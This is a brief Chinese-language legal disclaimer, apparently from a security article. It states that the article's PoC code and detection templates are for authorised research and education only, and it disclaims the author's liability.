免责声明:本文仅供安全研究和教育目的使用。所有 PoC 代码和检测模板仅用于授权的安全测试。未经授权对目标系统进行测试属于违法行为。作者不对任何因使用本文内容导致的损害承担责任。请在合法授权范围内开展安全评估工作。